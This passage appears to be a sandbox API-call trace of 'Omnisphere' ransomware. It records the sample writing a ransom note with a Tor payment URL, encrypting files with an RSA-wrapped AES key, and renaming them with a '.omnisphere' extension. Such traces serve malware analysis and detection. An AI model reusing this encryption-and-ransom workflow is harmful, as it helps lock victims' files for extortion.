lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0131.458] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0131.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0131.459] GetProcessHeap () returned 0x1600000 [0131.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17103e0 [0131.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17103e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0131.459] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0131.459] GetProcessHeap () returned 0x1600000 [0131.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625d88 [0131.459] PathCombineW (in: pszDest=0x1625d88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt" [0131.459] GetProcessHeap () returned 0x1600000 [0131.459] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1714358 [0131.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.459] WriteFile (in: hFile=0x288, lpBuffer=0x1714358*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1714358*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0131.459] CloseHandle (hObject=0x288) returned 1 [0131.460] GetProcessHeap () returned 0x1600000 [0131.460] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172bbd0 | out: hHeap=0x1600000) returned 1 [0131.460] GetProcessHeap () returned 0x1600000 [0131.460] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0131.460] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key" [0131.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.460] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0131.460] CloseHandle (hObject=0x288) returned 1 [0131.461] GetProcessHeap () returned 0x1600000 [0131.461] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0131.461] GetProcessHeap () returned 0x1600000 [0131.461] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1726258 | out: hHeap=0x1600000) returned 1 [0131.461] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0131.461] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 0 [0131.461] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0131.462] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x2f6f650b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f6f650b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0131.462] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x2f6f650b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f6f650b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.462] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f316776, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f316776, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f7428a1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0131.462] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~2")) returned 1 [0131.462] GetProcessHeap () returned 0x1600000 [0131.462] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x172ad40 [0131.462] PathCombineW (in: pszDest=0x172ad40, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Accessibility" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility" [0131.462] GetProcessHeap () returned 0x1600000 [0131.462] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xba) returned 0x16415f0 [0131.462] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*" [0131.462] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0131.463] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0xbf, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0131.463] GetProcessHeap () returned 0x1600000 [0131.463] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x1625a28 [0131.463] PathCombineW (in: pszDest=0x1625a28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" [0131.463] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0131.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.463] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=568) returned 1 [0131.463] GetTickCount () returned 0x1160c7b [0131.463] GetTickCount () returned 0x1160c7b [0131.463] GetTickCount () returned 0x1160c7b [0131.463] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] GetTickCount () returned 0x1160c7b [0131.464] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x16688a0) returned 1 [0131.465] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639528) returned 1 [0131.465] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0131.465] CryptDestroyKey (hKey=0x1639528) returned 1 [0131.465] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0131.465] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x238, lpName=0x0) returned 0x388 [0131.465] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x238) returned 0x1480000 [0131.466] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668f00) returned 1 [0131.466] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b28) returned 1 [0131.466] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.466] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.467] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.468] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.468] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.468] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.468] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.468] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.468] CryptDestroyKey (hKey=0x1639b28) returned 1 [0131.468] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0131.468] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0131.468] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0131.469] GetProcessHeap () returned 0x1600000 [0131.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2de) returned 0x1724d50 [0131.469] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini.omnisphere")) returned 1 [0131.471] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.omnisphere.id" [0131.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0131.472] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, 